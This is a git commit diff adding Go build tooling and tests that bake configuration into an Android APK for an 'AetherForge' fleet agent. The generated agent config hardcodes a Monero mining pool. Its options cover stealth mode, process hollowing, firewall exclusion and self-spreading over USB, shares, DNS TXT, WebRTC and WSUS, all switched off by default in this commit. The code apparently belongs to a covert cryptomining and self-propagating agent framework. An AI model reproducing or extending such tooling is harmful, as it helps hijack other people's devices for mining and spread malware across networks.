Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
80
android/forge/cmd/bake/main.go
Normal file
80
android/forge/cmd/bake/main.go
Normal file
@@ -0,0 +1,80 @@
|
||||
// bake renders Android APK assets and agent builtin config for a forge run.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"aetherforge-android-forge/internal/forge"
|
||||
)
|
||||
|
||||
func main() {
|
||||
worker := flag.String("worker", "", "agent worker name")
|
||||
server := flag.String("server", "", "command deck URL (http/https)")
|
||||
secret := flag.String("fleet-secret", "", "fleet secret (optional; prefer env AETHERFORGE_FLEET_SECRET)")
|
||||
wallet := flag.String("wallet", "", "placeholder wallet (mining off by default)")
|
||||
buildID := flag.String("build-id", "android-dev", "build id stamped into config")
|
||||
configOut := flag.String("config-out", "", "write assets/config.json here")
|
||||
builtinOut := flag.String("builtin-out", "", "write agent/config/builtin.go here")
|
||||
flag.Parse()
|
||||
|
||||
cfg := forge.AndroidAgentDefaults()
|
||||
if *worker != "" {
|
||||
cfg.WorkerName = *worker
|
||||
}
|
||||
if *server != "" {
|
||||
cfg.ServerURL = *server
|
||||
}
|
||||
if *secret != "" {
|
||||
cfg.FleetSecret = *secret
|
||||
} else if v := os.Getenv("AETHERFORGE_FLEET_SECRET"); v != "" {
|
||||
cfg.FleetSecret = v
|
||||
}
|
||||
if *wallet != "" {
|
||||
cfg.Wallet = *wallet
|
||||
}
|
||||
if *buildID != "" {
|
||||
cfg.BuildID = *buildID
|
||||
}
|
||||
|
||||
if *configOut != "" {
|
||||
json, err := forge.RenderConfigJSON(cfg)
|
||||
if err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
if err := writeFile(*configOut, json); err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "wrote %s\n", *configOut)
|
||||
}
|
||||
|
||||
if *builtinOut != "" {
|
||||
src, err := forge.RenderBuiltinGo(cfg)
|
||||
if err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
if err := writeFile(*builtinOut, src); err != nil {
|
||||
exitErr(err)
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "wrote %s\n", *builtinOut)
|
||||
}
|
||||
|
||||
if *configOut == "" && *builtinOut == "" {
|
||||
fmt.Fprintln(os.Stderr, "specify -config-out and/or -builtin-out")
|
||||
os.Exit(2)
|
||||
}
|
||||
}
|
||||
|
||||
func writeFile(path, body string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, []byte(body), 0644)
|
||||
}
|
||||
|
||||
func exitErr(err error) {
|
||||
fmt.Fprintf(os.Stderr, "bake error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
3
android/forge/go.mod
Normal file
3
android/forge/go.mod
Normal file
@@ -0,0 +1,3 @@
|
||||
module aetherforge-android-forge
|
||||
|
||||
go 1.26.3
|
||||
140
android/forge/internal/forge/config.go
Normal file
140
android/forge/internal/forge/config.go
Normal file
@@ -0,0 +1,140 @@
|
||||
// Package forge renders Android agent APK bake-time configuration.
|
||||
package forge
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// BakeConfig holds values embedded at APK forge time.
|
||||
type BakeConfig struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
}
|
||||
|
||||
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
||||
func AndroidAgentDefaults() BakeConfig {
|
||||
return BakeConfig{
|
||||
WorkerName: "android-fleet-node",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "android-node-no-pool",
|
||||
BuildID: "android-dev",
|
||||
}
|
||||
}
|
||||
|
||||
// RenderConfigJSON produces assets/config.json content for the APK wrapper.
|
||||
func RenderConfigJSON(cfg BakeConfig) (string, error) {
|
||||
cfg = normalize(cfg)
|
||||
out := map[string]any{
|
||||
"worker_name": cfg.WorkerName,
|
||||
"server_url": cfg.ServerURL,
|
||||
"mining": map[string]any{
|
||||
"enabled": false,
|
||||
"mode": "idle",
|
||||
"note": "CPU mining disabled by default; enable via server policy or re-forge.",
|
||||
},
|
||||
"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
|
||||
"build_id": cfg.BuildID,
|
||||
}
|
||||
if cfg.FleetSecret != "" {
|
||||
out["fleet_secret"] = cfg.FleetSecret
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
enc := json.NewEncoder(&buf)
|
||||
enc.SetEscapeHTML(false)
|
||||
enc.SetIndent("", " ")
|
||||
if err := enc.Encode(out); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return strings.TrimSpace(buf.String()) + "\n", nil
|
||||
}
|
||||
|
||||
// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
|
||||
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
|
||||
cfg = normalize(cfg)
|
||||
now := time.Now().UTC().Unix()
|
||||
return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
|
||||
// Build ID: %s
|
||||
|
||||
package config
|
||||
|
||||
import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
Wallet: %q,
|
||||
Threads: 0,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 0,
|
||||
CPUPriority: "idle",
|
||||
MiningMode: "idle",
|
||||
MinerExecution: "inprocess",
|
||||
DisplayMode: "background",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
ProcessName: "aetherforge-agent",
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: false,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 50,
|
||||
MinFreeRAM: 256,
|
||||
IdleThresholdPct: 0,
|
||||
IdleDurationMinutes: 60,
|
||||
ScheduleStart: "00:00",
|
||||
ScheduleEnd: "00:01",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: "aetherforge-agent",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: false,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
FirewallExclusion: false,
|
||||
AIEnabled: false,
|
||||
ProcessHollowing: false,
|
||||
MeshP2P: false,
|
||||
AutoSpread: false,
|
||||
HolePunch: false,
|
||||
RemoteAggressive: false,
|
||||
USBSpread: false,
|
||||
ShareSpread: false,
|
||||
GPUEnabled: false,
|
||||
FleetSecret: %q,
|
||||
LotlOnionEnabled: false,
|
||||
LotlPolicyFromServer: false,
|
||||
DnsTxtSpread: false,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: false,
|
||||
}
|
||||
}
|
||||
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
|
||||
}
|
||||
|
||||
func normalize(cfg BakeConfig) BakeConfig {
|
||||
def := AndroidAgentDefaults()
|
||||
if strings.TrimSpace(cfg.WorkerName) == "" {
|
||||
cfg.WorkerName = def.WorkerName
|
||||
}
|
||||
if strings.TrimSpace(cfg.ServerURL) == "" {
|
||||
cfg.ServerURL = def.ServerURL
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
cfg.Wallet = def.Wallet
|
||||
}
|
||||
if strings.TrimSpace(cfg.BuildID) == "" {
|
||||
cfg.BuildID = def.BuildID
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
78
android/forge/internal/forge/config_test.go
Normal file
78
android/forge/internal/forge/config_test.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRenderConfigJSON(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "pixel-7",
|
||||
ServerURL: "https://deck.example.com:8989",
|
||||
FleetSecret: "test-secret",
|
||||
BuildID: "apk-001",
|
||||
}
|
||||
raw, err := RenderConfigJSON(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var doc map[string]any
|
||||
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||
t.Fatalf("invalid json: %v\n%s", err, raw)
|
||||
}
|
||||
if doc["worker_name"] != "pixel-7" {
|
||||
t.Fatalf("worker_name: %v", doc["worker_name"])
|
||||
}
|
||||
if doc["server_url"] != "https://deck.example.com:8989" {
|
||||
t.Fatalf("server_url: %v", doc["server_url"])
|
||||
}
|
||||
mining, ok := doc["mining"].(map[string]any)
|
||||
if !ok || mining["enabled"] != false {
|
||||
t.Fatalf("mining should be disabled: %v", doc["mining"])
|
||||
}
|
||||
if doc["fleet_secret_set"] != true {
|
||||
t.Fatalf("fleet_secret_set expected true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBuiltinGo(t *testing.T) {
|
||||
cfg := BakeConfig{
|
||||
WorkerName: "tab-s9",
|
||||
ServerURL: "http://10.0.0.5:8989",
|
||||
FleetSecret: "fleet-key",
|
||||
Wallet: "placeholder-wallet",
|
||||
BuildID: "b-android",
|
||||
}
|
||||
src, err := RenderBuiltinGo(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, needle := range []string{
|
||||
`WorkerName: "tab-s9"`,
|
||||
`ServerURL: "http://10.0.0.5:8989"`,
|
||||
`FleetSecret: "fleet-key"`,
|
||||
`MiningMode: "idle"`,
|
||||
`IdleThresholdPct: 0`,
|
||||
`AutoStart: false`,
|
||||
`GPUEnabled: false`,
|
||||
} {
|
||||
if !strings.Contains(src, needle) {
|
||||
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAndroidAgentDefaults(t *testing.T) {
|
||||
def := AndroidAgentDefaults()
|
||||
raw, err := RenderConfigJSON(def)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(raw, `"enabled": false`) {
|
||||
t.Fatalf("expected mining disabled in json: %s", raw)
|
||||
}
|
||||
if !strings.Contains(raw, def.ServerURL) {
|
||||
t.Fatalf("expected default server url in json: %s", raw)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user